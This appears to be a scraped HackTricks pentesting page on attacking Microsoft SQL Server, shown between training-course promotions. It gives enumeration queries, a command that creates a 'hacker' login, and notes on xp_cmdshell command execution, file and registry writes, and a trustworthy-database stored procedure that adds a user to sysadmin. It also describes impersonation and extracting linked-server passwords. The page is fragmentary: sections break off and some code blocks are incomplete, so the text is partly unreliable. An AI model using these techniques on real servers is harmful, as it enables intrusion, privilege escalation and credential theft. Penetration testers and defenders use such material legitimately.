Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
> **Microsoft SQL Server** is a **relational database** management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).\\
* **master Database**: This database is crucial as it captures all system-level details for a SQL Server instance.
* **msdb Database**: SQL Server Agent utilizes this database to manage scheduling for alerts and jobs.
* **model Database**: Acts as a blueprint for every new database on the SQL Server instance, where any alterations like size, collation, recovery model, and more are mirrored in newly created databases.
* **Resource Database**: A read-only database that houses system objects that come with SQL Server. These objects, while stored physically in the Resource database, are logically presented in the sys schema of every database.
* **tempdb Database**: Serves as a temporary storage area for transient objects or intermediate result sets.
If you **don't****have credentials** you can try to guess them. You can use nmap or metasploit. Be careful, you can **block accounts** if you fail login several times using an existing username.
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go
```
#### Common Enumeration
```sql
# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master
#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
* **Server** – Examples include databases, logins, endpoints, availability groups, and server roles.
* **Database** – Examples cover database role, application roles, schema, certificates, full text catalogs, and users.
* **Schema** – Includes tables, views, procedures, functions, synonyms, etc.
2.**Permission:** Associated with SQL Server securables, permissions such as ALTER, CONTROL, and CREATE can be granted to a principal. Management of permissions occurs at two levels:
3.**Principal:** This term refers to the entity that is granted permission to a securable. Principals mainly include logins and database users. The control over access to securables is exercised through the granting or denying of permissions or by including logins and users in roles equipped with access rights.
Note that in order to be able to execute commands it's not only necessary to have **`xp_cmdshell`** **enabled**, but also have the **EXECUTE permission on the `xp_cmdshell` stored procedure**. You can get who (except sysadmins) can use **`xp_cmdshell`** with:
[**Read this post**](../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md) **to find more information about how to abuse this feature:**
To write files using `MSSQL`, we **need to enable** [**Ole Automation Procedures**](https://docs.microsoft.com/en-us/sql/database-engine/configure-windows/ole-automation-procedures-server-configuration-option), which requires admin privileges, and then execute some stored procedures to create the file:
However, the **`BULK`** option requires the **`ADMINISTER BULK OPERATIONS`** or the **`ADMINISTER DATABASE BULK OPERATIONS`** permission.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';
MSSQL could allow you to execute **scripts in Python and/or R**. These code will be executed by a **different user** than the one using **xp\_cmdshell** to execute commands.
Microsoft SQL Server provides **multiple extended stored procedures** that allow you to interact with not only the network but also the file system and even the [**Windows Registry**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
It's possible to **load a .NET dll within MSSQL with custom functions**. This, however, **requires `dbo` access** so you need a connection with database **as `sa` or an Administrator role**.
There are other methods to get command execution, such as adding [extended stored procedures](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR Assemblies](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server Agent Jobs](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), and [external scripts](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
If a **regular user** is given the role **`db_owner`** over the **database owned by an admin** user (such as **`sa`**) and that database is configured as **`trustworthy`**, that user can abuse these privileges to **privesc** because **stored procedures** created in there that can **execute** as the owner (**admin**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;
# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)
# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>
CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'
--2. Execute stored procedure to get sysadmin role
SQL Server has a special permission, named **`IMPERSONATE`**, that **allows the executing user to take on the permissions of another user** or login until the context is reset or the session ends.
An attacker can extract SQL Server Linked Servers passwords from the SQL Instances and get them in clear text, granting the attacker passwords that can be used to acquire a greater foothold on the target. The script to extract and decrypt the passwords stored for the Linked Servers can be found [here](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)
Some requirements, and configurations must be done in order for this exploit to work. First of all, you must have Administrator rights on the machine, or the ability to manage the SQL Server Configurations.
To automate these configurations, [this repository ](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)has the needed scripts. Besides having a powershell script for each step of the configuration, the repository also has a full script which combines the configuration scripts and the extraction and decryption of the passwords.
For further information, refer to the following links regarding this attack: [Decrypting MSSQL Database Link Server Passwords](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Troubleshooting the SQL Server Dedicated Administrator Connection](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).
Learn & practice AWS Hacking:<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<imgsrc="/.gitbook/assets/arte.png"alt=""data-size="line">\
Learn & practice GCP Hacking: <imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<imgsrc="/.gitbook/assets/grte.png"alt=""data-size="line">](https://training.hacktricks.xyz/courses/grte)
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.